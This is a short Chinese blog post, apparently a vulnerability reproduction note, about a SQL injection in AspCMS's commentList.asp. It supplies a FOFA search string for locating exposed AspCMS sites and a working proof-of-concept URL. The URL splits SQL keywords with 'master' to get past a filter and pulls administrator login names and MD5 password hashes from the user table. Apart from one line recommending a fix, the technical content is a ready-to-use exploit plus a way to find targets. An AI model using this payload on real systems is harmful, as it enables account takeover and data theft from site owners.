AspCMS系统commentList.asp存在SQL注入

原创已于 2025-05-16 14:20:15 修改 · 211 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#sql #数据库 #安全威胁分析 #web安全 #漏洞复现 #漏洞库

于 2025-05-16 11:30:48 首次发布

问题描述

AspCMS commentList.asp 存在SQL注入，攻击者可以获取管理员md5的密码，进行解密后登录获取敏感数据。

技术细节

AspCMS的commentList.asp文件存在SQL注入，攻击者可通过构造恶意请求，获取管理员账户的MD5加密密码。获取密码后，攻击者可进行解密并登录系统，进一步访问敏感数据。该问题的利用方式涉及在URL中插入特定的SQL语句，从而绕过系统安全机制，直接查询数据库中的用户信息。建议及时修复该问题，防止数据泄露。

fofa

app="ASPCMS"

poc

/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user